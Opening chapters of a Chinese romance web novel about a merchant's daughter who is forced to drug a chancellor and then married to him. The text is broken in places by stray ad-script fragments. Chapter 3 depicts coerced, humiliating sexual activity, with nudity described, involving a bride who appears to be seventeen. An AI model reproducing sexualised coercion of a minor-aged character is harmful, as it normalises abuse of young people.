《大她十岁的丞相火葬场了》 1. 001 三月十五的耿员外府张灯结彩,管乐缭绕,鞭炮声不绝于耳。再过半个时辰,丞相府迎亲的队伍会来迎娶胭脂铺耿掌柜的嫡女。 街巷茶馆里围满爱凑热闹的百姓,津津乐道这门不当户不对的婚姻。 “这回耿员外真捡了个大便宜,攀上宰相当女婿!” “谁说不是呢,自从去年新帝继位,魏大人连升三级拜为丞相,变法改革翻云覆雨,真可谓前途无量……” 一提到魏巍,众人无不称奇。这样一个风光霁月的人物主动求娶商人之女,众人无不惋惜。感慨之余,又不禁把话头撇向不知廉耻的耿婳。 “这小丫头真是个有心眼的,像她爹……” “我看是随她亲娘,要不说嘛,窑子里出来的就是会攀高枝!” “你还别说,俺见过这小娘子一次,只一眼骨头都酥了……” 这群人不敢说魏巍的长短,倒是会嚼耿婳的舌根。 还好,耿婳从小忍受风言风语,也习惯了。眼下她凤冠霞帔,斜倚着床柱,眼尾红晕未散,空洞地看着下人忙前忙后。 灯火璀璨,周遭熙攘,可一切热闹好像和她这个主角没关系。 娘亲去世时嘱托照顾她的姑姑熹微在一旁悄悄抹泪。继母杜氏满脸堆笑,道:“小婳进了相府可要好生伺候主子。母亲昨晚教你的,可还记得?” 她说的是那本春宫册。 耿婳眼眸里找回光亮,雪腮瞬间染绯。她撇开眼,贝齿咬着下唇。慑于杜氏手腕,慢慢点了点头。 杜氏对她的反应很满意,又提点道:“别看你夫君威严恭肃,可男人终归是男人,管他再大的官,只要床笫上伺候熨帖,以后少不了你的好处。等你站稳脚跟,老爷和钰儿也好沾沾光。” 自始至终,杜氏都笑盈盈看她,仿佛在欣赏一件价值连城的商品。 她当真是比耿婳这个当事人更高兴。一来夫君从大理寺无罪释放,一家人摆脱牢狱之灾。二来牺牲与自己无半分血缘的女儿换来丞相府这座大靠山,当真是笔只赚不赔的买卖。 她乐呵呵嘱咐:“熹微年纪大了不中用。我屋里阿沁随你出嫁,也好做个照应。” 这就是放了个眼线在她身边。耿婳哪有反抗的资格,低着头不敢出声。 杜氏满意地点头,只当她默认了。 “娘亲,她什么时候滚?”外面的小公子不耐烦地喊叫。他春困想早点歇息,可这个不识抬举的姐姐竟然占了他的屋子! 耿婳原本就住这里。母亲去世后,她被继母移到后院偏房。这次大婚特意换回这间干净宽敞的宅院。一是方便丞相迎娶,二是粉饰门面,掩盖一下耿婳的尴尬地位。 里面无人应答,耿钰嚷嚷起来,顺势踢开门。 杜氏忙过去哄:“哎呦呦,钰儿小声点。大喜的日子,叫相府的人听见了可不好。再等一会儿,一会儿她就走了啊。” “娘亲今天只顾陪她都不陪我!”小她七岁的弟弟哭了起来,像是受了天大的委屈。 “说什么傻话。”杜氏宠溺地揪揪他的鼻头,转向耿婳时声线陡然变急,“最要紧的是老爷的事,再三嘱咐过你,不许出错。可记住了?” 耿婳小声:“记着呢。” 她当然记得,耿忠逼着她对死去生母的牌位发毒誓,又用母亲的遗物做威胁。她哪能不为他保守秘密。 见长姐吃瘪,耿钰很是受用,老鼠眼眯成一条缝,幸灾乐祸朝她笑。毕竟她一直都是杜氏取悦亲儿子的工具。 “娘,我还想吃喜糖。” “等她走了再吃。一会儿丞相来了,可要收敛些。千万别当着人家的面嫌弃你姐,不然不知道的还以为咱们家苛责她呢。” 母子俩的声音顺着敞开的门扉飘进来,深知她性子软,连避嫌都无。耿婳仍安安静静靠在原处,姿势都不曾变过,眼圈无声无息续上一层水雾。 熹微悄悄从背后搂住瑟缩的主子。 自家小姐什么脾性,她最清楚。耿婳十岁丧母又遭父亲嫌隙,从小是个被欺压惯了的。 在杜氏面前,耿婳从来不敢淌眼抹泪。耿钰顽劣不堪,拿针戳她指甲盖,她都不敢哭出声,含泪也要忍着。更何况现在出言不逊呢。 “我家小姐以后可不一样了,咱们是相府主母,再回府就不用看人脸色了。” 明知道熹微故意说好话劝慰,但相府主母这几个字入耳,不由让耿婳徒增紧张。 她握住熹微的手,小声道:“姑姑,你说魏大人会不会也嫌我厌我?” 她和他本就是露水之情,论真情实感,那是半分也没有的。没有夫君的体恤为倚,如何能在偌大的相府立足? “别胡思乱想。小姐这样的脸蛋身段,还愁拿不下相爷?”熹微跟着耿婳在府里卑微惯了,可一提到自家主子的容颜,那便是千百倍的自信。 因为天生的好皮囊,唯利是图的耿忠才愿意悉心培养她,给她请洛阳城最好的私塾先生和教习嬷嬷,白日读书吟诗,夜里女工针织。只等女儿及笄后待价而沽,寻个高门做妾,方便他攀结富贵。 结果阴差阳错,竟然傍上了当朝宰相。 三个月前家里被官府的人包了个里三层外三层。耿忠很快被押进了大理寺,据说是因为走私紫檀木。 大奉律法严明,紫檀乃稀有木材,由朝廷严格把控,不可民营交易。耿忠混迹商场多年,作奸犯科的脏事没少干,这次新账旧账一起算,被定了个抄家的大罪。 杜氏急得上下打点关系,最后也不知道怎样一番周旋,兜头扔给耿婳一身薄可透肉的纱裙,把精心打扮好的耿婳硬生生塞进大理寺少卿刘理的马车。 见到对方色眯眯的表情时,她就懂了继母的歪心思。 可她却还没能搞懂这位刘大人的玲珑心。 刘理忍着喉痒命令:“你替本大人做件事,成了饶你全家性命。不成,你先饮了这鸩酒。” 大理寺少卿让她去迷惑当朝丞相魏巍。 耿婳久居深闺,对朝堂之事知之甚少,却对魏巍的大名如雷贯耳。 百年氏族孕育出的贵公子,自幼聪颖稳重,少时被选为太子伴读,二十岁进士及第,春游猎会上百步穿杨射中猛熊要害,救先帝于为难之中,至此美名远扬。 哪怕久居深闺的少女也难免对他产生朦胧的向往,其中就包括耿婳。 先帝驾崩,太子登基后把魏巍提拔成丞相,为己所用。而这一年,耿婳十六。上元节灯会上,她有幸远远瞥见这位大奉开国以来最年轻的丞相大人。 眉目俊朗,身形如鹤。只一眼,就让人难以忘怀。 造化弄人,一年后的上元节,她被指示去陷害她钦慕已久的人。 要么给别人下药酒,害一人。要么喂自己毒酒,死全家。 耿婳犹豫半晌,硬着头皮选了前者。 政事堂内,镂空香炉中白烟袅袅,逶迤飘散至成山的卷宗处。 男人一袭圆领紫袍,幞头戴得端正,鬓角整齐,没有一丝多余的碎发。他立于案前,一手握书卷,一手执墨笔。 玄海又添了一盏新烛,瞅瞅天色,明知主子最不喜公务期间被扰,却不得不撞着胆子提醒:“相爷,今日您……小登科。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回应他的只有书卷声。 玄海说完又有点后悔,自家主子心里肯定不喜这门亲事,他提什么提,非要给人家添堵么。 低垂着的头颅向上挪了两寸,他掀起眼皮偷瞄了眼魏巍。 他面色无虞,直到写完文书中最后一字,才撂下手边的活儿。 “今天?” 算算日子,好像真是这几天。 差点忘了。 年后他亲自监督春闱,整日闷在政事堂,连家门都没踏入过。 玄海心想,现在去迎亲尚且来得及。只是看他四平八稳的模样不像有这个打算。 魏巍瞥了眼水钟,不紧不慢道:“喜服呢。” 玄海赶紧端上漆盘。魏巍穿戴整齐,“回府。” “相爷,不去迎亲?” “有人去了。”魏巍眼皮都不曾抬起。 耿员外府围观凑热闹的人还真不少。 许渊跳下马,享受着所有人艳羡的注视。望见远处阁楼上持团扇张望的姑娘们,他赶紧正了正衣冠,同身边的汪子元道:“喂,注意点仪态,都看着我们呢。” 汪子元没心思理会他,只是愁眉看着人声鼎沸的耿府。 少时三人在东宫同做伴读,加冠后也常把酒言欢。他曾打趣魏巍性子冷傲又不近人情,以后多么出色的女子才配得上魏府门楣。 谁知世事无常,结果不免令人唏嘘。作为知己好友,如今却要来这小门小户替他接亲。 说实话,汪子元和许渊心里都不好受。 许渊表现得更为明显。他倒要看看,是哪个妖女毁了他挚友一生的姻缘。怀着这般心思,他同汪子元大步踏入耿府。 耿忠刚从账房那边回来,看着长长的礼单合不拢嘴。刚回院里就看见浩大的迎亲队伍,为首的还是两位俊雅公子,他三步并做两步赶紧迎上去。 “二位大人远道而来,小人失迎了。”他拱手赔笑,老鼠眼瞬间眯成一条砖缝。土黄的脸上叠出无数褶子,都能挤死好几头苍蝇了。 汪子元客气地与他回礼。许渊强压住恶心,仰着下巴道:“丞相今日忙于公务,特请我和汪大人来迎新娘。” 两位傧相的来历,耿忠早调查得透透的。一位是翰林学士,另一位是勋贵之后,都是人中龙凤,得罪不起。 丞相不来就不来,无非是免了给他敬茶改口的礼数,无伤大雅。人家愿意这么大阵仗迎娶自己闺女,已经是给他脸了。 礼乐声愈发响亮,屋里的耿婳听见外面动静,搂住熹微:“姑姑……” 这个家里,她唯一舍不得的就是替母亲养她成人的熹微。 “大小姐,可别哭了。天大的馅饼都被你捡了,还有什么不满足的。”说这话的人是阿沁,继母专门安插在她身边的陪嫁丫鬟。 熹微拿帕子轻轻拭去她眼角泪花,刚要抚恤得说几句贴己话,就被旁边的阿沁拦下了。 接亲的人马都来了,哪还有闲工夫听她们主仆磨磨蹭蹭。 身强力壮的丫鬟拽着她胳膊离开架子床。刚起身的耿婳被拉着快走两步,腿脚忙乱间一个踉跄,差点摔倒。 她扶住阿沁,手里的合欢扇却没拿稳,一下飘到地上,正飞到刚进门的大人脚边。 耿婳和阿沁下意识抬眼,与两位傧相的视线相撞。 新娘子的容貌毫无掩饰地展露于众目睽睽之下。 许渊和汪子元皆是一怔,一时忘了礼教。 “她长得可真……”许渊眼都直了,找不出什么恰当的词形容这女人。 汪子元回神,心道:不似良家女子。 2. 002 三个月前的元宵佳节,皇帝于青云楼夜宴权贵。魏巍应邀前去。 他酒量不差,很少喝醉。可今夜青云楼的酒比往常更烈。 酒过三巡,微醺的魏巍去隔壁雅间小憩。侍女送来一碗醒酒汤。等他恢复意识,这女人□□蜷缩在怀里。 被发现时,她头埋进被窝,瑟缩成团。独留他一人整理衣衫,应对同僚的质询。 这个侍婢打扮的女子名叫耿婳,是京城大商户耿员外之女,家里做胭脂水粉生意。 当朝丞相私通商人之女。这对极重门风的洛阳魏氏一族来说,简直是奇耻大辱。更何况魏巍实行新政不久,又惹非议。 他素来手腕强硬,大刀阔斧的改革早就触动保守派势力。政敌趁机借题发挥,指控魏巍声色犬马,私生活不简。受新政打压的当朝权贵无不见风使舵,一时间指摘魏巍的奏本趋之若鹜。 正所谓人言可畏。舆情一度将魏巍至于风口浪尖,正当保守派欢欣鼓舞等着变法搁置时,不等魏府长辈做主,魏巍请媒人来提亲。 他一向严谨持重,三书六礼面面俱到,甚至请天子亲自润笔写下聘书。聘书宛如赦免魏巍的圣旨,一时堵得政敌哑口无言。 纳征之日,魏巍以黄金绫罗为礼,赠予耿府万贯资产,引得众人艳羡不已。新娘子还没进门,就有股宠妻无度的架势。 洛阳城内外,关于丞相不顾门第娶商女的逸闻不胫而走,甚至衍生出了以此改编的话本,一时间流言传得沸沸扬扬,彻底掩盖住事件的真相。 知道的晓得这是维护改革的无奈之举,不知道的还以为他们才子佳人不畏门第,情比金坚。 就这样,魏巍略施手腕化解了这场不大不小的闹剧。只不过,要以牺牲婚姻为代价。 回府的路上,玄海掀帘偷瞄车厢内的相爷,他随后摆弄着腰间玉佩穗子,也不知道在想什么,如此草率成婚心里会不会有憾。 跟了魏巍这么多年,他也没见他多看过哪个女人一眼。倒是一心扑在公务上,二十七岁高龄还未成家。京城翘首以盼的闺秀等老了一批又一批。 到相府时,花轿刚落地。府门大敞,两侧宾客孩童云集,新娘子正要踏进门槛。 许渊从人群中疾行而来,一眼就见到了向来守时的好友,立马朝他挥手:“伯琳,你媳妇儿!” 他指了指身着婚服,团扇掩面的高挑女子。 耿婳闻言,僵在原地。 他都没来接亲,一定厌她到了极点。 府门前的侍从身形绷紧,敛声屏气。魏巍不疾不徐走来,他脸上挂着笑容,可所到之处喜庆祥和的氛围却一扫而光。 迎亲的喜娘僵住笑,惊得瞠目哑口。不愧是一人之下万人之上的高官,还真是有股常人无法比拟的气质——不管走到哪种场合,都能自动冷化气氛。 周遭一切鸦雀无声,耳畔只能听见他逼近的脚步声。耿婳睫毛止不住发颤,握扇的纤指紧了又紧。 稳健的步伐停在她身侧,余光中出现一双一尘不染的革靴,而后一截红衣劲臂撞入视域。 他温润一笑:“夫人,请。” 耿婳不敢看他,也不敢说话。只微微颔首,听话地把素手搭过去,随他进了府。 按大奉习俗,新娘到夫家后不能履地,须踏毡席入户。席短路长,要一路转移接铺。耿婳只能踩着毡席一小步一小步往前走,不敢太快也不敢过慢,生怕出错。 相府比她想象得还大,还热闹。所有宾客的目光像无数根针齐刷刷戳在耿婳身上,她强忍紧张和不适,于正厅拜完天地后手心已经出了一层薄汗。 与她的忐忑拘谨相比,魏巍却笑得随和清浅,好像真在享受人生大事一般。 身为知己挚交,许汪二人都清楚他笑意未达眼底,可即使这样也够他俩别扭了。见惯了恭谨肃穆的魏大丞相,偶然结婚热闹一下,还真是……有损他的形象。 拜堂后,两人进入百子帐。行同牢、和髻礼,又在女眷们的祝福声中共饮合卺酒。 红丝带连接着两片木瓢,两人相对而坐。魏巍身量高,端起木瓢刚要喝,耿婳的身子就被迫拉过去,小嘴哪还够得着木瓢。她僵着身子委屈蹙眉,不敢抱怨半句,引得一众女客掩面而笑。 耿婳刷一下红透了脸。 魏巍轻笑了两下,迁就得折腰放低身板。两人相对饮酒,挨得有些近。 耿婳抿了一小口,酒香清醇,和水差不多。他也在喝,而且是在看着她喝。 耿婳下意识抬起眼皮,这是今天两人第一次眼神交汇。相遇一刹,耿婳像被烫到一样快速垂下眼睫。 他同宾客们一样,眼角透着浅淡的笑。看上去心情不错,好像一点都不讨厌她。 耿婳忐忑不安的心踏实下来,紧张消了大半。 新房礼结束,魏巍泰然走出婚房,庭院月洞门旁一人轩立,一人张望。 汪子元和许渊都在等他。 汪子元问:“你还瞅什么。” 自从见到新娘后,这货一改往日嗤之以鼻的态度,在正厅拜堂时就老盯着人家看。 他又道:“我看你倒是对她大有改观。” 许渊回话:“是啊。难得的美人儿,配得上魏巍那张脸,本大人原谅她了!” 见魏巍走近,他又招呼道:“伯琳啊,你可这真是好福气。” “我不懂你在说什么。”魏巍冷飕飕摆了他一眼,撇下他随子元走了。 许渊啧了一声,还真够道貌岸然的。腹诽完,甩甩袖子跟他们去前院会客吃席。 魏巍从不贪杯,哪怕是人生仅有一次的婚宴,也没见他生出一丝额外的兴奋自得。这次接待宾客,与他而言和平日下值后的官场应酬并无差别。 唯一不同的是,结束后要回去应付那个女人。想了想政事堂成山的文书,他很快打消了前面这个念头。 觥筹交错间,玄海于他身边耳语:“老爷要见您。” 魏徵年事已高,正厅受过拜后就回了屋。 魏巍离席去了秋篱院。 几盏残灯照得院落晦暗不明,喜庆祥和的气氛就此戛然而止,晚风摇曳着乍暖还寒的冷意,吹得柳枝直打颤。 一进屋就见到了满头白发的父亲,初春时节他穿着厚实棉衣,比过年时又苍老了几分。 魏巍躬身作揖:“快亥时了,父亲还没歇?” 他看了眼身穿大红喜袍的嫡长子,又瞥见他眼下浓郁的乌青。都说儿子随爹,要不是清楚他拼命三郎的性子,不然定被误会成混迹烟火柳巷的色魔。 老迈的魏徵叹了口气,“没去迎亲?” “回父亲,五日后春闱,孩儿亲自督考,兹事体 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大,耽误不得。” 开国百余年,大奉看似富强,实则积弊甚多。自他登上相位,首当其冲就是冗官问题。吏部弊政不得不变,革新的源头在于用人取材。 科举考试尚有诸多纰漏,这次改革就拿春闱开刀。一旦开考,从前期出题再到考场布局,直至监考阅卷放榜,整个流程不得马虎一丝一毫。 他确实会找理由。曾任礼部尚书的魏徵比他更清楚科举考试的繁复门道,一时也挑不出他言辞上的错处。 魏徵今年六十有七,虽不再掌管家业,却对朝廷内外洞若观火。 他劝道:“你位高权重,变法改革不可操之过急。我知你刚正耿洁有傲气,可须知过刚易折,尤其是官场,要学会和光同尘,切勿书生意气!” 魏巍立刻接话:“谨遵父命,孩儿记下了。” 魏徵一跺拐杖,哼道:“要是真记着,也不至于今日成亲。” 他是致仕了又不是瞎了聋了。不仅宾客礼单上没有王司空和刘家,与魏府结交的一众勋贵高门也不曾亲自到场祝贺。这哪里是什么婚礼,这分明是政党分派的试验田。 魏徵吹胡子瞪眼:“平日里自以为是目无下尘,这回倒好,栽在了温柔乡里。” 这话无疑戳中魏巍痛处。他微不可查地挑眉,脸色阴了两分。 自实行新政以来,半年里前前后后得罪了不少勋贵和保守派,其中不乏旧友同窗。早就料到改革会有阻力,谁知竟然被算计到了床笫之上。 有损魏家风评不讲,也没能娶个门当户对的权贵之女平衡政治势力。 “我若去审她,定会拔出萝卜带出泥。” 魏徵气急攻心,强烈咳嗽几声。魏巍忙去给他顺背,好不容易才好过来。 “罢了,事缓则圆,人缓则安。你正在气头上,更不能鲁莽。”魏徵摆摆手,“今夜洞房花烛,好好行周公之礼,不许再出府门。” 从秋篱院出来,宴席已至尾声,他同二弟魏嵘送别宾客。而后去浴房洗清酒气,换了身常服去了后院。 耿婳折腾了一整日,实在困极了。阿沁那丫鬟不听话,早去隔壁次间歇着了。她本来倚着床柱眯眼歇着,后来不自觉躺倒在拔步床里,就好像坠入柔软棉花堆里。 相府的茵褥不知什么料子织的,真舒服。 她一躺下就再也起不来了。外面的动静不知什么时候变小,她越睡越沉,直到迷迷糊糊听见有脚步声靠近。 透过窗棂洒下的清冷月光被高大人影罩住。气氛不对,耿婳微微掀眼,看清来人时瞬间清醒,不等他发话,腾得从床上起身。 “魏、魏大人。”她嗫嚅着,揪紧红色中衣的衣角。 “沐浴了?” 没了和煦的笑,他平静的问话好像都带着审讯意味,不经意间就让人感到害怕。 耿婳乖顺哼唧:“是……” 她闻到了他身上同她一样的皂香,明白他话里意思,瞬间羞红脸。 魏巍把两边的红帐垂下,慢条斯理地躺倒床上,完全没有碰她的意思。 烛火葳蕤,橘黄暖光把红帐里的她照得分外昳丽。男人枕臂平躺,神色清冷地得不像是来度春宵的。 过了好一会儿,她还跟条木头似的杵在那儿。 魏巍扭头看她纤瘦的背影,不满道:“嬷嬷没教你?” 3. 003 夜色浓稠,灯影深深,红帐添香。 耿婳羞答答转过身,思考如何回答他。其实,春宫册里讲得很细,杜氏教得也好,但是她笨。 除了三个月前和他那次,耿婳再也没这方面经验。她闭上眼睛,坐在床边,双臂环住小腿,心知这回他没中药,绝对不会像上次一样主动碰她了。 怎么办…… 耿婳咬着唇珠,偷偷看他一眼。魏巍眼神清明,一副四平八稳的样儿,分明就是在等她伺候。 他扯了扯交叠的衣领,露出喉结冷咳两声,好似无言督促。 耿婳忍着羞耻和委屈,转过身子一点点把中衣脱去。男人扭头,微冷的视线如利刃一样刀刀凌迟着她,在观察,也在审视。 褪去衣物的少女就像剥了皮的荔枝,肤白如雪,吹弹可破。 在衣冠楚楚的丞相大人面前,赤身裸.体的耿婳青丝垂落,羞得抱成团小心翼翼护着两禁之处,眸子里不知不觉染上一层朦朦胧胧的水气。 魏巍沉声问:“怎么没胆子了?” 见她不敢碰自己,他又道:“再给你一碗醒酒汤?” 他好像报复似的,必须让她主动。 耿婳进退两难,只好含着泪珠去解他的革带。又不知道废了多大劲,才把那物从他窄腰卸下。 不知过了多久,龙凤烛将灭之时,方才结束。男人披衣下床,一盏凉茶入腹。他眼底清明,利簪束发,一丝不乱。 耿婳侧躺在凌乱的帐内,默不作声地流着清泪,及臀的青丝胡乱散在瓷白的胴体上,堪堪遮住春光,修长的雪腿艰难收拢在一起,酸麻得动弹不了一点。 凉风袭来,帐子再被掀开。 “……大人。”她眼泪汪汪,声音也化成春水,又娇又喘。 下一刻,下巴被人捏住,她被迫抬起半个身子。 魏巍眯眼问:“谁让你下得药?” 她美眸潋滟,颤巍巍握住他的腕子,忽而想起杜氏的忠告。 “没有谁。是我自己的主意。” “奴家仰慕相爷,这才鬼迷心窍。” 随他掐着下巴的手不断上挑,耿婳只能配合仰起头,双膝跪地含泪求他。 “青云楼是敕造的官办酒楼,你怎么混进去的?” “我、我……我知道您会去,就买通了一个婢女,与她换了衣衫。” 魏巍道:“继续编。” 耿婳哑口无言。 “想不起来了?”魏巍就知道她不会说实话,上下打量了她一会儿,抽手甩开。 骤然脱力,耿婳的身子凭着惯性带到一边,酸软的腿一摊,狼狈地倒在床畔。 “那便跪着细想,想明白了再来见我。”他穿上紫袍,戴好幞头,拂袖而去。 龙凤喜烛倏地燃灭,缕缕白烟自灯芯飘散而出,夜风大起,冰冷的红帐内独留佳人守着空床。 翌日晨,耿婳歪靠着床柱缓缓睁眼,刚要动身,腿早麻得没了知觉。跪了一整宿,就跟截了肢一样。 “阿沁,阿沁。” 她唤了好几声,那丫头才打着哈欠进了内室,极不乐意地扶她起身。 耿婳右膝红了一块,像是硌到什么东西。垂眸一看,是一块和田玉纹鱼玉佩。 想必是相爷的贴身之物,昨夜遗漏的。 “什么时辰了?” 阿沁瞥了眼漏刻,示意她自己看。 辰时一刻! 她还没来得及去给婆婆请安敬茶。慌里慌张地梳妆后,又四处寻魏大人。他偏偏没在,耿婳只好一个人去。 丞相府太大,她又不甚熟悉,绕来绕去才到了正厅。里面坐着一男两女,分别是魏巍的母亲、弟弟和弟媳。 耿婳曾听杜氏提过魏丞相一家。 曾任礼部尚书的魏徵年轻时是个一心政务的工作狂,而立之年才成婚,娶了比自己小一轮的杨氏,四十岁生下魏巍,又过了两年得了次子魏嵘。如今魏徵年事已高,常年卧病秋篱院,无事从不出山。 二弟魏嵘二十有五,娶了个门当户对的闺秀,膝下有个四岁的嫡子。他才能不及父兄,在朝中任秘书丞一职。 洛阳魏氏自古名门,传承至今却子嗣稀薄。整个魏府的门楣,全靠身居丞相的长子魏巍一人支撑。他的话语权最大,迟迟不婚也无人敢管。眼下自作主张娶了个商女回来,杨氏等人再嫌弃也不好说什么。 但令人不忿的是,进门第一天的敬茶礼居然让她们等了近半个时辰! 一家子都是规规矩矩的体面人,何时被这般怠慢过。魏巍忙于朝政不来也就算了,她是个什么东西,竟敢不敬长辈。 杨氏看她慢吞吞模样就来气。 耿婳也想快一点,但腰腿酸软不说,昨儿跪了一整晚,膝盖早没知觉了。这还不够,偏偏纵欢之处又肿又麻阵阵发疼,每走一步就牵扯一下,她还没来得及请安行礼,就疼得红了眼圈。 杨氏面色微愠,她竟还委屈起来了? 耿婳忍着不适,跪在锦垫上给雍容的中年妇人磕头,“见过母亲。” 杨氏点头嗯一声,冷眼不再看她。 耿婳递上香茶,许是昨夜没睡好,又许是紧张害怕,她端着茶盅的手一个不稳,洒了几片茶水出来,引得杨氏刚舒展开的眉梢又拧起来。 耿婳赶忙把头埋得更低,两只小手颤巍巍举着茶盅,乖乖道歉:“母亲,我知错了。” 杨氏沉下脸,接过茶盅直接置到案上,一口都不想喝了。 力道过大,茶盖发出清脆声响,屋里瞬间静得出奇。耿婳绷紧身子,端正跪着一动也不敢动。 半晌,杨氏道:“抬起头来。” 耿婳听话照做,缓缓抬脸。 这是杨氏头一回见儿媳正脸,脑子里想起四个字:红颜祸水。 瓜子脸面,桃花水眸,是个天生的狐媚相,周身气质没一处和“端庄”二字搭边。 她又扫了一眼耿婳胀鼓鼓的胸脯,旋即翻了个白眼。若不是这么股妖娆劲儿,又岂能爬上当朝宰相的床笫? 杨氏训道:“怎么进的门,自个儿心里清楚。过去之事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我既往不咎,魏家门规森严,自有一套家法,往后你一言一行都须稳重得体,否则我不饶你。可记下了?” 耿婳乖顺点头,尴尬地跪在那处。魏嵘之妻柳惜君忙上前扶她,热络道:“母亲急着想见你,爱之深恨之切,可别往心里去。” 耿婳同她问好,又去给小叔敬茶。魏嵘这人脸上藏不住事儿,对她的态度还不如杨氏。 她在那里捧着茶,他抱着双臂,接都不想接。还是柳惜君懂事,热络接过,忙又给夫君打了个圆场,这才相安无事。 耿婳心里叹气。罢了,他们不喜欢她也正常,反正从小到大除了娘亲和姑姑,也没人喜欢过她。 就连魏巍也是被迫娶她的,她毁了人家婚姻大事不说,还让魏氏一族在京城闹了笑话。他们一家子自然都不会给她好脸。不恨她就算客气了。 敬茶礼罢,她领了婆婆的赏赐。是一对工艺极佳的金镶玉手镯。 亲爹耿忠在百姓里也算是有钱人,但一辈子也给不了她这么贵重的东西。而不怎么待见的婆婆却愿意送她。 她忽觉熹微姑姑说的有理。高门大户待她再差,也会给她体面的,总比原来的家好。她总不能碰上比爹爹和杜氏还恶毒的人吧? 更何况婆婆和小叔都是喜形于色的人,这种人即使凶狠起来都是纯粹直接的,总比背地里给人捅阴刀子放暗箭强。 唯一让她心惊的是这位二少奶奶。 她去膳厅的路上,柳惜君挽着她的手小声道:“爹娘都上了岁数,以后管家的事还请姐姐多照应照应我。有什么难处尽管同我说,千万别委屈了自己。” 耿婳胆小归胆小,可一点也不傻,柳惜君的话外音她是懂的。婆婆年老,如今是她这个做弟妹的执掌中馈大权,就算耿婳当上了丞相夫人也必须明白魏家真正的女主人是谁。 受了弟妹的敲打,耿婳不急也不恼,只老实地点点头。 柳惜君对她的表现很满意,眉眼都乐弯了。 耿婳见她心情不错,这才问:“相爷不知去了哪里。” 她说完这话,就糟了婆婆一记白眼。耿婳不由红了耳根,新婚燕尔,不知道自己夫君在哪里,她这个当妻子的可真是失败。 全府上下无人不知魏巍秉性。他和老爷一样,是个一有公务就不着家的主。自上任变法以来,整个朝堂风起云涌,魏巍不是处理公务就是应酬酒局,鲜少回家,年后干脆宿在了政事堂。 听府门守卫说,昨天后半夜他就回去了,没给自己放一天婚假,只是这一去也不知道哪天回来。 他这种日理万机为国为民的人,根本没有闲下来的时候,自然也没空去迎亲,柳惜君这样跟她说。 耿婳恍然大悟,难怪大理寺少卿让她去青云楼与他行苟且之事,原来事关官场纷争。 是诬陷,也是暗算。 魏巍或许以为她是政敌那边的人,所以昨晚才恶语相向,毫无怜惜。 想到这里,耿婳叹了口气,她哪有那么大本事当线人,无非是颗用之即弃的棋子罢了。 4. 004 与魏巍一家人惊心胆战吃完早膳,耿婳如释重负回了后院。 相府规矩多,吃饭也是如此,从入座品茶到浣手漱口,一连串事项繁琐得很。还好她在家学过礼数,也小心翼翼模仿着柳惜君,这才没闹出笑话。 美食面前向来不懂克制的她望着满盘珍馐不得不假装矜持,只等回屋取出娘家带来的蜜饯填肚子。 这盒蜜饯是熹微怕她挨饿,悄悄塞给她的。可昨晚她为了等魏巍,紧张到忘记吃东西。 今天难得偷闲,耿婳舒服地躺进拔步床舒展身体,泄劲后腰腿和□□的痛感不断放大。 耿婳嚼着蜜饯,努力让心里生出几丝甜意。她终于有家了,有了属于自己的小窝,她再也不用看爹爹和继母的脸色,不用受弟弟欺负了。 而且,还是嫁给自己钦慕已久的人。 一想到这里,她就幸福地冒泡,想着想着她又困了,最终蜷缩成一团,抱着蜜饯睡着,睡梦里还在傻笑。 歇晌歇得太久,醒来时脑子昏昏沉沉。 阿沁把她拉起来,皱着眉毛道:“你还不快起来,外面的主子快等了俩时辰了。” 耿婳赶紧整理发髻,从隔扇里出来就见到了坐在圈椅上喝茶的柳惜君。 她不知所措地给柳惜君道歉,说自己贪睡不知她来有失远迎。 “哪有姐姐给妹妹道歉的理。”柳惜君又贴近俯耳道,“一看就是昨晚累的,这要怪也只能怪大哥。” 听懂了她话里的打趣,耿婳霞飞双颊,羞得只想钻进地缝。 柳惜君捂帕偷笑。她这次是来给她送下人的。这也是杨氏的意思,知道她只带了一个陪嫁丫鬟,实在寒酸,这才命她前来周全。 她嘴上热络,拉着耿婳说了不少熨帖话才离开。 柳惜君安排了几个粗使的丫鬟婆子洒扫后院,也给小厨房多陪了人手,另有一名叫青烟的丫鬟负责随行起居。 心里知道她无事献殷勤必定另有用意。可耿婳仍是感动,她都忘了上次被这么重视是什么时候的事了。 记得小时候娘亲不得宠,杜氏仗着生了儿子耀武扬威,爹爹嫌她是老妓所生,常对她吹胡子瞪眼。 可现在不一样了,她是相府名义上的主母,就算婆婆不喜,夫君不爱,也有这一层虚荣的身份罩着,终究比在娘家好过。 柳惜君走后,留下了一屋子等候她发话的下人。主仆头一回见面,通常要说些场面话给些好处。 在耿家时,耿婳每个月只有二钱月例。这次出嫁,她把十七年来所有的积蓄全带上了。 摸索着那个胀鼓鼓的半旧钱袋,耿婳咬咬牙,一人一两分发出去。 阿沁看得眼红,不满地哼了一声。耿婳只好也给她一两。 “谢奶奶赏——” “都起来吧。”耿婳怯生生道,她第一次被这么多人拜。 “以后好好干活,少不得你们的好处。” 耿婳打发她们出去。丫鬟青烟留在房里陪侍,两眼盯着瘪下去的钱袋放光。 耿婳惆怅数着所剩无几的碎银,一边肉疼一边安慰自己,舍不得孩子套不住狼,以后能在府上立足少不了身边人,该打点的银子确实不该省。 而且相府也会给她发月例,肯定比耿家给的多,到时候撒出去的钱就赚回来了。 耿婳把钱袋放到拔步床枕下,本想唤阿沁去小厨房拿糕点,一想到她凶巴巴的不好惹,就改口叫青烟到跟前,嘱咐了几句。 青烟还算听话,迅速取回一盘栗子糕和杏花饼。耿婳欢欢喜喜地吃了干净,她吃东西很慢,打扫干净时天都黑了。 此时她又想到一桩迫在眉睫的事。明日回门,按礼数姑爷要同她一起回娘家。可是她一整天连魏大人的面都没见到,更别说求人家和自己回去了。 到了用晚膳的时间,小厨房给她准备了丰厚的菜肴,有她最喜欢的松鼠鳜鱼。原来在家,霸道的耿钰总爱独占,留个鱼尾巴给她解馋。现在耿婳可以独享美食,再也不用迁就别人,真是快哉。 她还没吃完,柳惜君又来找她解闷。一看她还在吃,就打趣说这是在为丞相补身子。 耿婳辩解说她只是饿了。她确实贪吃,甚至还想喝点酒。但女儿家刚进门,独守空闺喝闷酒,不知道的还以为她相思成疾。 